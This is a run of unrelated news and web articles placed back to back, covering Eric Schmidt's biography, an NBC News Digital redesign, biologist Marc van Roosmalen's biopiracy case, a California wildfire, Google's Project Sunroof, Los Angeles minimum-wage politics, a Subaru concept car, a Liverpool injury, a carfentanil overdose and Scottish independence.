In 2014, Schmidt co-authored the New York Times best-selling book How Google Works[98] with Jonathan Rosenberg, former Senior Vice President of Products at Google and current advisor to Google CEO Larry Page, and Alan Eagle.[99] The book is a collection of the business management lessons learned over the course of Schmidt and Rosenberg's time leading Google.[100] In his book, Eric Schmidt argues that successful companies in the technology-driven internet age should attract smart and creative employees and create an environment where they can thrive. He argues that the traditional business rules that make a company successful have changed; companies should maximize freedom and speed, and decision-making should not lie in the hands of the few. Schmidt also emphasizes that individuals and small teams can have a massive impact on innovation.[101]
Schmidt's Law [ edit ]
Dating back to early 1990s and dubbed "Schmidt's Law" by George Gilder when Schmidt predicted that the network will become the computer.[102][103][104] Schmidt's Law states: "When the network becomes as fast as the backplane of your computer, the computer hollows out, its components dispersing across the Web, its value migrating to search and sort functions."[105]
Other work [ edit ]
Art collection [ edit ]
Schmidt was on the list of ARTnews's 200 top art collectors in 2008.[106]
Bilderberg Group [ edit ]
He is a member of the Bilderberg Group and has attended the annual Bilderberg conferences every year since 2007 (except for 2009).[107][108][109][110] He also has a listed membership with the Trilateral Commission.[111] He is a member of the International Advisory Board at the Blavatnik School of Government, University of Oxford.[112]
Berggruen Institute [ edit ]
Schmidt is an active member of the Berggruen Institute's 21st Century Council, and its board of directors.[113][114]
Acting [ edit ]
In 2014, he had a cameo appearance in the film Dumb and Dumber To, starring Jim Carrey and Jeff Daniels. He also had a cameo appearance in the HBO show Silicon Valley.[115]
Personal life [ edit ]
In June 1980, Schmidt married Wendy Susan Boyle (born 1955 in Short Hills, New Jersey). They lived in Atherton, California, in the 1990s.[116] They have a daughter, Sophie,[13][117] and had another, Alison, who died in 2017.[118] The two separated in 2011.[13][119][120]
In January 2013, Schmidt visited North Korea with his daughter Sophie,[121] Jared Cohen, and former New Mexico governor Bill Richardson.[122][123]
In April 2015, Schmidt delivered the commencement address at Virginia Tech, located in Schmidt's childhood home of Blacksburg, Virginia.[124] This came on the heels of Schmidt making a two million dollar donation to Virginia Tech's College of Engineering. Schmidt's philanthropy is the result of his long standing friendship with Virginia Tech's former president Paul Torgersen. His donation funded the Paul and Dorothea Torgersen Dean's Chair in Engineering.[125]
See also [ edit ]This is the story of how we created three new digital verticals, MACH, BETTER and THINK, while also laying the foundation for a new multi-brand design system, performant and flexible publishing platform, as well as faster development processes all around. It’s a journey from product ideation and validation all the way through to scalable design and development.
These sites are the result of several months of prototyping, iteration and scaling of everything from content to advertising to platform. MACH and BETTER originally launched as pop-up verticals to test audience and advertiser demand. After seeing the positive feedback, both internally and externally, we decided to begin the redesign process with these verticals. Eventually, we will extend the work we did with these three verticals to the entire NBC News Digital product suite. Here is how we did it…
Co-creation: Teaming up with an agency to supercharge internal teams
Although the Pop-up verticals were well received, it was clear that we’d already reached the limit of what we could achieve for these new brands on our old stack and design system. These new verticals needed to be more compelling. They needed more video, more visuals, more flexible content creation and more dynamic curation capabilities. They also needed better recirculation of content and consumption through the full network of sites, and more premium advertising offerings, including seamless integration of branded content.
Our dedicated war room and design boards at Code and Theory
While we are blessed with having key resources and skillsets for product, design and development in-house, we knew we needed additional help to achieve our goal of launching a full new design system, frontend framework and improved curation tools by our deadline — in just 16 weeks. Instead of completely outsourcing the project, we decided to partner with the digital agency Code and Theory to co-create everything from ideation to design and code completion. Around one-third of the project’s staff came from Code and Theory and two-thirds from NBC News. All key positions, from design to development to project management were paired. The goal was to build a sustainable product and process to ensure the long-term viability of what we create. Most agencies optimize for short-term delivery and single reveal. This can be at odds with a more iterative approach and ensuring that everyone inside the company can maintain and evolve what was built in the long run. By supercharging our own teams with experienced and fast-moving agency talent, we achieved the best of both worlds: fast ramp-up and release, while also ensuring long-term sustainability and iteration with our own teams.
Design system: a visual language and user experience that scales across all brands
The danger of creating new brands iteratively is a proliferation of visual elements, inconsistent user experiences, technical debt and poor long-term maintenance. NBC News already has three major brands (MSNBC, TODAY, NBCNews), all with their own visual language, user experience and content management. Adding even more would only further complicate things, and over time, this accrued design and tech debt means that everything will slow down and become inflexible. Launching new features becomes a painfully slow and cumbersome process that frustrates the newsroom, business stakeholders and users that traverse multiple parts of the sites with different UX. We needed to start over and rebuild the entire system.
Having been through a few major redesigns we learned the hard way that starting with the homepage or other highly visible portions of the site can doom the project from the outset. Instead, we chose to create a new design system ‘from the outside in’ — by starting with the new verticals which had only been around for a couple of months and were a complete greenfield in terms of design and content strategy. Together with Code and Theory we went about selecting a new font family, color palette, image treatments, content packaging, motion language, iconography and overall layout system. Using the actual examples of MACH, BETTER and THINK for implementation but always designing with the full network of sites in mind, we built new fronts, components and content types.
Key components of our new design system
Our approach and key components of the new system
Approach: design from the outside in. Start where you have the most freedom and least risk. Release a portion, monitor success and address shortcomings before scaling to a larger portion of the network. Redesigns of existing destinations can be very disruptive to loyal users. It’s best to start on the periphery, with smaller sections, or ideally entirely new sections, and carefully design your way towards the center.
Logo system: stay on brand but evolve. Everything we do is proudly carrying the Peacock. For the verticals we wanted to find a way to combine our heritage and point to something new. The single feather was used in the pop-ups already, to represent an individual part of a larger whole. Now we move the feather to the edge of the frame to make it more modern and angular, like the rest of the design.
Colors: select more than a palette. Figure out a way to use color combinations to differentiate each brand’s identity, while maintaining coherence across the full family of brands. The color palette we chose gives us a lot of flexibility to expand the system to future verticals. We chose violet for MACH to represent an optimistic but unknown future, teal for BETTER to represent obtainable change, and burst for THINK to represents bold ideas. Further, we identified global colors shared across the network and a number of future color pairings (still secret!) that will help evolve existing and new brands yet to be invented.
Fonts: like with color, select font pairings that scale. We optimized for readability with serif fonts (like articles) and boldness and clarity with sans-serif fonts (headlines, navigation). We’re using Founders Grotesk Condensed for headlines, a sans-serif typeface that provides more space and legibility for news titles. Founders Grotesk Mono for timestamps, metadata, tags providing the smallest yet important data and information with scannability and knowledge of its function immediately to the user. For our serif typeface, we chose Publico for its headline typeset and text typeset.
Packages: depart from rigidly structured page templates. Instead, develop modular packages that can be placed on fronts and allow editors to create new page layouts on the fly. A front is just a container of modules, not a fixed page layout. All packages can be shared across all fronts and stacked as desired. This enables the creation of modular homepages and the ability to spool up new fronts in minutes instead of weeks, without the assistance of developers. Further, fronts are no longer static templates but rather containers of packages. These packages can be re-arranged by editors all the time, creating dynamic pages that adjust to storyflow as often as needed.
Images: create a coherent way of treating images everywhere. Ensure both visual consistency and workflow efficiency. All our image crops are ratio based. Everything begins with a simple square. This means editors never have to worry about cropping fails and our pages scale easily across all breakpoints. It’s like a magical Tetris!
Video: remove all friction. We built our own, blazing fast HTML5 video player and created bold video modules and canonical video pages that draw users into the experience. We reward content sampling (harder with video than with text) by giving users a ‘grace’ period that removes pre-roll ads if a user jumps around between clips frequently. On desktop, a pre-roll will only be played once every 60 seconds. This means users will not see a pre-roll as they jump from one video to another in a period of 60 seconds or less. On mobile and tablet, the preroll is only shown before the first when the filmstrip mode is launched (basically the canonical page on mobile). This means they can consume as much video as they like without any interruption as long as they stay in the filmstrip mode. And of course, no autoplay! All plays are user initiated by clicks or swipes.
Technical Approach
From the outset it was clear that we didn’t just want to ship a new product. We wanted to build the processes and tools that would allow us to accelerate how we create. This means moving to a more performant javascript framework, more flexible API layer, and faster releases processes. For additional technical leadership we brought in Econify, a boutique engineering shop that has helped other publishers like Bloomberg, Vevo, and Vice improve their tech stack.
Frontend framework: the road to React via Ramen
React has become the javascript framework of choice for many digital publishers. And rightly so. It is light, performant and modular. However, migrating to a new codebase and retraining developers can be disruptive to an active project, so we took a half-step towards React and created ‘Ramen’, a mini framework to get us React ready. That’s right, we created our own mini javascript framework. It’s a kind of ‘React Light’ and will help us prepare for a full migration to React later this year. Ramen is highly componentized allowing us to create truly modular homepages, focus on performance, modularly organize our assets, and ease the on-boarding of new developers; all while increasing stability and minimizing the chance of regressions. More on that in another post!
GraphQL layer: further decoupling the stack for more flexibility and speed
Although the NBC News stack is already mostly decoupled into distinct services and repositories (we use Drupal, but just as a headless data entry tool), our backend services still required rigid 1:1 data contracts with the clients. This means a feature change often requires changes from several teams to connect frontend client and backend services. Aside from the development overhead, this 1:1 structure easily breaks downstream clients like mobile apps that are daisy-chained off the same data contracts but rarely on the same development cycles.
We decided to move our backend service from HAL to GraphQL to decouple our application data contracts. This increased stability amongst our downstream apps and decreased time to market by reusing a single service. The verticals were the first consumers of our GraphQL instance. We will roll it out to all clients throughout the rest of the year.
Towards continuous shipping: evolving DevOps to build and deploy fast and frequently
The verticals also allowed us to start revising our DevOps process to optimize for speed and agility.
First, we introduced tagged releases. By updating our system to force deployments via GitHub Tags, we’ve significantly decreased the likelihood of bugs in production while gaining the ability to easily roll back code to previously known stable points, quickly and with confidence.
Second, we’ve decreased the time it takes to get to staging, from a minimum of 3 hours down to a few minutes at most. This results in more frequent deployments, allowing us to deploy upwards of 30 to 40 times a day, if needed, dramatically decreasing the time it takes for new features to show up in production. Much of this was achieved through identical environments. By ensuring that every instance of our stack is identical to production (minus capacity), we’ve removed the need to support separate entry points for different environments such as Heroku and AWS. This eliminates the ability for a bug to creep up in production that does not exist in staging. Similarly, we now provide developers and QA the ability to spool up an on-demand instance of our stack with the code that exists in a PR. Devs and QA can test code before it gets merged in, dramatically increasing the stability of our master code base.
Conclusion…
If you made it this far, thank you! We are only at the beginning of an exciting journey. Over the next nine months, we will redesign and rebuild every product and pixel at NBC News Digital. Our new design system and component-based platform will allow us to develop and release new features faster and deploy them across any of our sites. It makes ad and analytics integration easier and more comparable. It helps keep application of best practices for SEO consistent and greatly simplifies troubleshooting overall. Gone are the days of checking every template individually. Soon we will also start building a living style guide, taking our components from Sketch and Ramen, linking them to a dynamic module library that updates in realtime (more on that soon).
If you are deeply passionate about innovating in the publishing industry, and if you believe that there has never been a more important time to serve a broad audience with the best journalism and most compelling user experience, then check out nbcnewsdigitaljobs.com and come join us!
Thank you,
MoritzMarc van Roosmalen is one of the most famous biologists in the Amazon. *
Photo: Stanley Greene * Motoring up Brazil's Arauazinho River during the rainy season is like navigating a lake full of trees. The rust-colored water escapes its banks and spreads out across the rain forest, leaving the channel indistinguishable from the jungle around it. Marc van Roosmalen, however, seems to sense the river's course. Perched on the bow of our small aluminum boat, the primatologist confidently directs our pilot up the main artery, and we head deeper into the Amazonian wilderness with every turn.
Thin and leathery, with a deep tan and a goatee, Van Roosmalen looks younger than his 60 years. A Dutch-born naturalized Brazilian, he first came to this remote and untouched area of the Amazon more than a decade ago to study a biological El Dorado, a treasure of rare and undescribed biodiversity. For many researchers, discovering a single new species is a career maker. Van Roosmalen has discovered at least 10 — fantastical-sounding creatures like the dwarf marmoset and the giant peccary. His work along the Arauazinho and the Aripuana has earned him a reputation as one of the world's greatest living naturalists.
The boat edges around another curve, and Van Roosmalen's longtime field aid, Francis Correêa, shouts and points at an enormous anaconda, thick as a palm tree, curled on the bank. "Francis has such a keen eye," Van Roosmalen says as the snake eases into the water and underneath the boat.
A few minutes later, our engine quits. "I think I'll have a swim," Van Roosmalen announces, grabbing a snorkel out of his bag. "This water is really nice. The only problem is the electric eels. And the anacondas. And the sting rays, but that's only in the dry season." He doffs his blue button-down and yellow T-shirt and jumps into the water. I'm dubious, but he persuades me to join him, narrating the river's features as we paddle among the submerged tree trunks.
Eventually the pilot gets the motor going, but only barely. We beach the boat and strike out overland. The hike is slow going because Van Roosmalen pauses to note every fruit and tree, every monkey scratch in the bark. He picks up a large, hollowed-out nut. "This is a new species in the Brazil nut family that I'd like to describe," he says wistfully. "In the old days, I would collect this and then later return for the flowers."
He walks a few steps and then stops abruptly. "Automatically I put it in my pocket," he says, pulling out the nut and dropping it to the ground. "If I forget and go back to Manaus" — the capital of the state of Amazonas — "they can throw me in jail."
He may sound paranoid, but he's actually facing a bleak reality. In the summer of 2007, Brazilian authorities put him into one of the country's most dangerous prisons for two months, the beginning of what was supposed to be a 14-year sentence. They called him a traitor and a biopirate and convicted him of stealing the country's natural resources. As a result, Van Roosmalen was fired from his job at the government scientific institute where he'd spent two decades. He became estranged from his family, mired in debt, and afraid for his life. Even as we trudge through the Arauazinho, he awaits the verdict on his final appeal. If he loses, he goes back to prison to serve out his term.
No one disputes that Van Roosmalen is a talented researcher, or suggests that he is any sort of common criminal. When he ran afoul of Brazil's own paranoia over the theft of natural resources, important science lost out to bureaucracy, xenophobia, and cynicism. But Marc van Roosmalen is a polarizing figure here. Some see him as an environmental hero; others believe he is the nations's biggest biopirate. The same monomania and hubris that made him a great researcher also helped bring about his own demise. He could have become one of the most innovative conservationists of his generation. Now he may end up nothing more than a cautionary tale — or, if his worst fears come to pass, a martyr.
Three-fifths of the Amazonian rain forest and 13 percent of all animal and plant species are in Brazil.
Photo: Stanley GreeneBiopiracy is what watchdog groups and government officials call the plundering of biological organisms for profit. Over the past decade, developing nations have increasingly protested such incursions into their sovereignty. They come primarily in the form of "bioprospecting" researchers and pharmaceutical companies that scour areas of natural diversity and indigenous knowledge seeking the next cancer treatment or face moisturizer.
Those fears, at some level, are warranted. In the 1950s, the rosy periwinkle, a plant native to Madagascar, became the source of a lucrative leukemia drug for Eli Lilly; the island nation received nothing. In the mid-1990s, a US company filed for a patent involving the neem tree, long known in India as a source of antifungal medicines. The neem patent was later overturned, and in 2005 the Indian government started building a database of traditional knowledge to compare to international patents — with an eye toward fighting any overlaps.
But no country has taken biopiracy as more of an affront than Brazil. Here, anger over biopirataria started with Henry Wickham, an Englishman who smuggled thousands of rubber tree seeds out of Manaus at the height of Brazil's rubber boom in the late 19th century. Transported to Southeast Asia, the saplings allowed British colonies to flood the rubber market, crushing Brazil's economic fortunes. (Wickham likely purchased the seeds legally and then exaggerated his own daring, but the story stuck.)
The most infamous modern biopiracy incident involved Brazil and Squibb Pharmaceuticals. The US-based company turned the venom from a Brazilian viper into a blood-pressure treatment that was worth $1.1 billion in sales in 1996 alone — none of which ended up in Brazilian hands.
Lately, international firms have been accused of trademarking the ae7ai, a native Brazilian fruit, and patenting other Amazonian fruits and oils for cosmetics. Yet the true extent of biopiracy in Brazil is unclear. According to Mário Lúcio Reis, acting superintendent for Brazil's environmental division (known as Ibama, the initials of its Portuguese name), only six biopiracy cases were pursued last year in the Amazon. Most involved simple animal trafficking — cases more about pets than patents.
Nonetheless, the Brazilian government has portrayed biopiracy as a national crisis, setting off a kind of biological McCarthyism. Dozens of researchers — many of them foreign — have been slapped with the biopirataria label by authorities and even their own colleagues. Usually the cases amount to nothing, although occasionally the accused are paraded in front of federal committees or fined. Into this tempest blundered Van Roosmalen.
Van Roosmalen grew up in the Netherlands in the 1960s, a radical leftist hippie who fell in love with biology. "While other people were walking their dogs, he and my mother would walk their monkeys," says his eldest son, Vasco.
For his PhD, Van Roosmalen studied the feeding strategies of spider monkeys in Suriname, just to the north of Brazil. He had a natural gift for fieldwork, and his Field Guide to the Fruits of the Guianan Flora has been used by botanists for 20 years. The book caught the eye of Brazil's Instituto Nacional de Pesquisas da Amaz4nia (INPA), which hired Van Roosmalen to conduct a similar survey for the Brazilian Amazon.
"The guy is a brilliant researcher," says Russ Mittermeier, who worked alongside Van Roosmalen when they were PhD candidates in Suriname and is now president of the US-based environmental group Conservation International. "He knows more about the relationships between primates and other forest mammals, fruits, and trees than probably anyone else alive. He's really a great explorer."
Van Roosmalen relished the free-spirited adventure of jungle research, often traveling by dugout canoe or walking barefoot through the forest for weeks or months, foraging for food and stringing up a hammock in local villages. On one trip, he picked up leishmaniasis, a parasite-borne fever, and he's had several bouts of malaria. He loved it all, even when two near-fatal spider bites persuaded him to give up the barefoot trekking.
In Brazil, Van Roosmalen continued a habit he had begun in Suriname. He set up animal rehabilitation centers — first outside Manaus and then in his family's backyard, in the heart of the city — for monkeys, tapirs, peccaries, margays, and whatever other creatures came his way, orphaned by hunting or deforestation. "Most came from the authorities, confiscated from the illegal markets," he says. "Many animals went through my hands, but you never knew where they came from."
In 1996, a local showed up at his door with a tiny live monkey in a powdered-milk can. "When I opened it," Van Roosmalen says, "I immediately saw that it was something totally new." He spent months traveling up and down the rivers around Manaus, stopping at villages to show pictures and ask whether anyone had seen the foot-long barefaced critter.
Finally, in a small village not far from the mouth of the Arauazinho River, he found the land of the "dwarf marmoset," as he eventually named the monkey in a paper coauthored with Mittermeier. As it turned out, this was not just a new species but the first new primate genus discovered in nearly a century. Van Roosmalen surveyed the area and began to find other undiscovered mammals. He made headlines globally and was even profiled in Sports Illustrated. The biologist had found a new calling: species hunter of the Amazon.
Van Roosmalen opposed shooting animals to collect as specimens, preferring instead to question locals about what they had encountered. He acquired specimens by trading for orphaned monkeys or by asking for the remains of hunted animals. The methods worked: He published his discovery of a remarkable five new monkey species in peer-reviewed journals, along with a previously unknown peccary, porcupine, tapir, and deer.
He was also transforming from scientist to conservationist. In 1999, he founded the Amazon Association for the Preservation of High Biodiversity Areas, or AAPA. Its goal was not just to raise money for his research but to buy and protect habitats. The innovative idea, linking scientific discovery to environmental protection, quickly attracted money and recognition. Prince Bernhard of the Netherlands, who in 1997 had awarded Van Roosmalen the country's highest scientific accolade, contributed the equivalent of $100,000 to purchase land. The organization bought an 18,500-acre parcel near the Arauazinho and 49,000 acres farther north. In 2000, Time magazine named Van Roosmalen one of its "heroes for the planet."
Van Roosmalen's rise coincided with what Brazilians perceived as a growing threat to their biological heritage. In the mid-1990s, the pace of genetic and pharmacological discoveries in areas of high bio-diversity — like rain forests — was accelerating. At the same time, international environmental groups were raising millions of dollars to enter Brazil and protect the Amazon, with or without Brazilian help. The government tightened biological-collecting laws, creating a byzantine permit bureaucracy. Today, researchers have to declare the type and number of specimens and document where they're going to end up — it's not exactly conducive to exploration or discovery.
Brazil holds three-fifths of the Amazonian rain forest and one-fifth of the world's flowering plants. An estimated 13 percent of the animal and plant species on Earth live there; it is the planet's most important living laboratory. Yet, as a percentage of GDP, the government spends just over a third of what the US does on research. "The politicians are very good at selling dreams — that in the Amazon we will find all the cures to our diseases," says Efrem Ferreira, a Brazilian ichthyologist at the INPA. "There are billions of dollars of promise, but it is just that: promise. You have to spend the money and the time."
Meanwhile, red tape has effectively smothered science. Foreign biologists tend to shun the country in favor of relatively easygoing locales like Peru and Costa Rica, and indigenous scientists are unable to make up the difference. One botanist estimates that there are only five plant taxonomists covering Brazil's 1.9 million square miles of jungle.
"If working biologists were held rigorously to the law at the moment, we would all be arrested," says George Shepherd, a plant taxonomist at the Universidade Estadual de Campinas. "The law was framed with good ends in mind, but they didn't actually think about the disastrous effect it would have on the scientific community."
Van Roosmalen himself has little stomach for the paperwork required for scientific collecting. "I tried several times to advise him about the need to obey the INPA's rules," says Rogerio Gribel, former head of botany for the institute. As Van Roosmalen garnered international awards and media attention for his work, he became increasingly scarce at the INPA. He founded a series of nonprofit organizations to raise his own research money. And he drifted away from institute activities, says Gribel, who believes his "egocentric, nondiplomatic behavior" may have rubbed others the wrong way.
In fact, Van Roosmalen's ventures often seem to end in some sort of crisis. His animal-rescue centers were shuttled from one property to the next as disagreements with some funder or partner surfaced. But the real trouble started with one particular blowup. In 1996, he became a consultant for a British production company called Survival Anglia. Founded by nature documentarist Nicholas Gordon, the outfit wanted to shoot three films about Amazonian animals and gave Van Roosmalen money to buy land for an animal-rehab center. Three years later, as the filming wound down, Van Roosmalen became embroiled in an argument about finances with Gordon and his fiancée. They complained to Ibama, the environmental enforcement agency, which opened an official inquiry.
In July 2002, Van Roosmalen was returning from a research trip north of Manaus when he stopped to refuel. Ibama agents boarded his boat, where they found some common orchids and four monkeys on deck — orphans he claimed to have rescued from a village in exchange for frozen chickens. He lacked permits for any of them. After a night of interrogation at the police station, he was fined $3,000 and released — minus the monkeys.
Two days later, the arrest hit local papers, and over the ensuing weeks the national press jumped on the story. "Law of the Jungle: Scientest Accused of Biopiracy," blasted the national newsweekly, Veja. "I was already crucified," Van Roosmalen says.
Soon after, a member of the Brazilian parliament named Vanessa Grazziotin took an interest. It was an election year, and Grazziotin was heading up an inquest into biopiracy. She subpoenaed Van Roosmalen's computers and phone records and called him to testify in front of Parliament. When he failed to appear — Van Roosmalen says that lawyers told him his testimony was optional — she sent the federal police to bring |
in flames as heavy smoke approached and flames jumped the southbound lanes Friday.
Officials said Friday some 20 vehicles were destroyed on the roadway and 10 were damaged, but the forest service tweeted Saturday that 44 vehicles had been destroyed.
Two big rigs were among those destroyed and an additional two were damaged, Inciweb reported Friday.
Sky5 aerial footage also showed a boat and a car-carrier truck burning.
All north and southbound lanes on the 15 Freeway were temporarily closed as a result of the blaze Friday.
Two lanes on the northbound side were reopened early Friday evening and two southbound lanes were reopened around 12:30 a.m. Saturday.
Additional structures were not believed to be threatened as of Saturday morning, but mandatory evacuations remained in place as fire officials worked to restore power and secure lines, Brown said.
Evacuations remained for those living east of Sheep Canyon Road, north of Highway 138, West of Highway 395 and the 15 Freeway and south of Phelan Road, according to Inciweb.
Those being evacuated could seek shelter as Serrano High School, at 9292 Sheep Creek Road in Phelan.
Animals were being sheltered at San Bernardino County Fairgrounds located at 14800 Seventh St. in Victorville.
Evacuees were sharing shelter with people evacuated from campgrounds near the 125-acre Pine Fire near Wrightwood and Big Pines, which broke out Friday night.
Some of the 1,000 firefighters who responded to the North Fire had been relocated to the Pine Fire, Brown said.
In addition to firefighters on the ground, 22 engines, four water tenders, one dozer, one air attack plane, one lead plane, three helicopters and six fixed-wing tankers, including DC10 and MD 87, were aiding in the firefight against the 3,500-acre blaze.
San Bernardino County Fire, Cal Fire and San Bernardino County Sheriff’s Department officials were all at the scene.
Increased moisture was expected Saturday, but with the “threat of lightning and gusty outflow winds,” Inciweb stated.
Read the full story on KTLA.com.Google Fiber isn't the only next-generation technology from the Silicon Valley titan expanding across the United States this week.
The Internet giant announced on Thursday that it is also widening the net for Project Sunroof, an energy savings initiative that debuted in August.
Project Sunroof builds upon the aerial images in Google Earth to hone in and estimate a given home's solar energy savings potential.
Unveiled amid testing in just a trio of areas (San Francisco Bay Area, Fresno, Calif. and Boston) a few months ago, homeowners were instructed to enter addresses, after which Sunroof would respond with the estimate based on a variety of factors. These factors included (but were not limited to) local weather patterns, tree shade, and average electric bills.
The venture was the brainchild of engineering lead Carl Elkin, who designed Project Sunroof as the result of Google's "20 percent time" offering, an initiative encouraging employees to dedicate a fifth of their time to side projects. (Some of the more famous tools said to have been produced through 20 percent time include Gmail and Adsense.)
"Solar installations today are growing rapidly (a system is installed every 2.5 minutes in the U.S.), but there remains tremendous untapped potential. In fact, only half a percent of U.S. electricity comes from solar power," Elkin followed up in a blog post this week.
Thus, Google is now expanding the test pool to select metro areas across California, Massachusetts, Arizona, New York, New Jersey, Nevada, Connecticut, Colorado and North Carolina.
Interested homeowners can continue to enter their addresses in order to discover if their houses fall within the next level of the pilot program.A Burger King employee protests for a $15 minimum wage in Los Angeles.
Reuters
Just like it did in Seattle and San Francisco, organized labor helped lead the fight to raise Los Angeles’ minimum wage to $15 an hour. But now, with the City Council preparing to pass a final version of the bill that would do so, union leaders are asking for a major carve-out that would let businesses with collective bargaining agreements pay their employees less. In other words, they would like an exemption from the very law they’ve been trying to pass.
“With a collective bargaining agreement, a business owner and the employees negotiate an agreement that works for them both,” Rusty Hicks, head of the Los Angeles County Federation of Labor and co-chairman of the Raise the Wage coalition, said in a statement. “This provision gives the parties the option, the freedom, to negotiate that agreement.”
Predictably, the move has led to some charges of hypocrisy from conservatives, as well as pure bafflement among others. In Los Angeles, the Chamber of Commerce is arguing that labor groups want the change so that business owners will simply let workers organize instead of paying the new minimum, which would plump up union rolls.
And, you know, I’m sure they wouldn’t be upset if that was the result. But, if Los Angeles is determined to go all in on a $15 minimum wage anyway, this basically seems like a sound idea. It’s been done elsewhere—San Francisco included a union waiver in its recent minimum wage hike, as did Chicago and Oakland—and the minimum wage hike Los Angeles passed for hotel workers also included a version of the clause.* And, unless you have an ideological opposition to organized labor, it’s hard to a see a reason not to do it.
To be clear, this is almost surely an implicit acknowledgment by the unions that there are at least some local industries in Los Angeles, such as apparel manufacturing, where $15 per hour is too high a minimum, and workers might prefer to accept lower pay in order to keep their jobs. Otherwise, there would be no point in pushing for it. No rational employee would choose to organize and accept a lower paycheck—plus pay union dues—unless they really, truly thought their job was being imperiled by their wage. Admitting that $15 wasn’t a great fit for every sector of L.A.’s economy probably wouldn’t have been politically convenient in the early stage of the lobbying campaign. But now that the new minimum seems close to becoming a reality—the City Council has voted in favor of it in principle, but needs to approve final legislative language—it can’t hurt to give workers and businesses a safety net if they need it.
Beyond that, the idea is just kind of intriguing. Three cities have moved toward a $15 minimum, and potentially two of them will include the union exemption (Seattle has not). It will be instructive to see whether the idea works better or worse when businesses can opt out by embracing collective bargaining. Maybe there would be fewer job losses. Maybe there would be slightly more organizing activity. Maybe neither. But it’d potentially be fascinating to watch a scenario play out where some fast-food restaurants, for instance, let in unions to save on their payroll, while others try to make the math work at $15. Maybe we’d discover that organized labor wouldn’t be so poisonous for the financial health of a McDonald’s after all.
The union exemption could also reframe the purpose of the minimum wage in a fascinating way. At Vox, Matt Yglesias points out that some famously progressive Nordic countries get away without legislating national minimums of their own, because they can rely on widespread collective bargaining to guarantee that workers receive fair pay. He argues that the exemption Los Angeles unions are asking for is a move in the direction of that more flexible model. But in a way, I think it’s almost the opposite. Rather than counting on strong collective bargaining rights to ensure livable and economically appropriate wages, L.A. would partly be relying on a high pay floor to spread collective bargaining rights, which in the end might actually be more important. After all, McDonald’s cashiers, Walmart associates, and garment workers face lots of problems, from unpredictable schedules to being assigned too few hours to health and safety issues, that can’t be addressed by a minimum wage alone. Why not give those workers leverage to negotiate for the rights they need most, whatever those may be?
*Correction, May 28, 2015: This article originally suggested that San Francisco did not have a similar exemption for unions in its minimum wage increase. This article has been corrected and revised throughout to reflect that it did.Another embargo wall begins to crumble, this time with regard to Subaru's planned New York Auto Show surprise, the WRX Concept. (You didn't think that the hybrid Crosstrek was all they had in store, did you?
Anyhow, the the concept car combines reality with some typical flights of fancy, like the rad-looking head and taillamps. The important thing is this: Subaru is obviously making it a point to separate the WRX from the standard Impreza beyond just adding flares. And man, does it all come together nicely.
One thing we can tell you is that these aren't renders, even though they look that way. They are actual photos of the show car. The rally-yellow accents on the grill badge and exhaust tips are a nice, subtle nod to the WRC Imprezas you know and love. This, we love.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool striker Divock Origi won't play again this season.
A scan has confirmed that the Belgium international suffered ligament damage in Wednesday night's 4-0 win over Everton at Anfield.
The exact time frame still isn't clear as Origi will undergo a second second scan on Friday.
However, Liverpool don't expect him to be able to play any part in their push for Europa League glory or their five remaining Premier League matches.
* Read more Divock Origi stories by clicking here
Origi faces a race against time to be fit for the European Championships in France which start on June 10.
It's a crushing blow for Jurgen Klopp with the 21-year-old having been in outstanding form with five goals in his last five matches.
Origi scored his 10 goal of the season against Everton but his night was cut short by a X-rated challenge from Ramiro Funes Mori early in the second half.
The Blues centre-back was sent off and subsequently issued an apology but that will be of little consolation to Origi, who is on crutches with his right ankle in a protective boot.
Origi will be sorely missed, especially in the Europa League semi-final tie with Villarreal.
Greater responsibility will fall on the shoulders of Daniel Sturridge, while fellow striker Christian Benteke is close to returning to full training after a month out with a knee injury.A person in the Beaver Falls area who died from a drug overdose in November tested positive Thursday for carfentanil, a powerful opioid that�s 100 times stronger than fentanyl and 10,000 times stronger than morphine.
It�s the first confirmed case involving the elephant tranquilizer in the county, said Beaver County Coroner David Gabauer. There have been several cases of heroin being laced with the drug in Ohio last year, according to the Pennsylvania Department of Health.
The Beaver Falls area overdose death also may be one of the first cases involving carfentanil in Pennsylvania.
Tiny amounts -- the size of a grain or two of sand -- can be potentially fatal to humans. And it doesn�t necessarily need to be intentionally ingested.
�If a person just gets it on their hand and accidentally touches their eye, touches their mouth, that could prove to be fatal for them,� said Dr. Neil Capretto, medical director with Gateway Rehab. �So we have to warn first responders or somebody who encounters somebody with an overdose to be extremely careful about touching drug paraphernalia.�
Carfentanil is a concentrated version of fentanyl, a synthetic opioid that was the leading cause of drug overdose deaths in Beaver County over the past two years.
Capretto said synthetics have become popular because they�re produced cheaply, easily and quickly. Heroin takes time to grow from poppy plants and cultivate, so synthetics are used to supplement batches of heroin, he said.
Emergency personnel have been wearing protective gear at all suspected drug overdose scenes to ensure their safety, said Bill Pasquale, operations manager at Medic Rescue.
�We don't know what we're handling or what we're involved with until items are tested,� he said. �That could be days if not weeks after the fact. So everyone should exercise extreme caution and treat every scene the same, using all possible protective equipment.�
Family members of overdose victims are urged to not touch paraphernalia because of the drug's potency, Pasquale added.
It�s also questionable how effective the opioid antidote naloxone could be in cases involving carfentanil. Capretto said cases involving fentanyl often need multiple doses of naloxone and have to be administered within minutes.
Heroin typically doesn�t cause instantaneous unconsciousness, allowing more time to reverse an overdose should it occur. Synthetic opioids are different.
�I've had patients tell me they go totally unconscious before the needle's out of their arm,� Capretto said. �So the window of time you have to save that person becomes extremely small.�
The Pennsylvania Department of Health issued a press release about carfentanil in September. At that time, there were not any confirmed cases in the state, but there had been confirmed deaths involving the drug in Ohio.
A health department spokesperson did not immediately return phone calls on Thursday regarding other potential cases in Pennsylvania.Vulnerable people would be put at risk in an independent Scotland because they would lose the safety net of a UK-wide welfare system, Coalition ministers have warned.
In its latest analysis paper on the impact of a Yes vote in September’s referendum, the Government claimed that spending on benefits per head of the population in Scotland is 2 per cent higher than in the UK as a whole – and has been as much as 9 per cent higher in the past. But the Scottish National Party dismissed the report as “scaremongering” and accused ministers of “hypocrisy”.
Meanwhile, the Scottish First Minister, Alex Salmond, said in a St George’s Day speech in Carlisle that an independent Scotland would look to build a high-speed rail link to the south. “Rather than paying our share of the borrowing costs for high-speed rail, as we wait decades for it to spread up from the South, we can use that money to build high-speed rail from the North instead,” he said.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
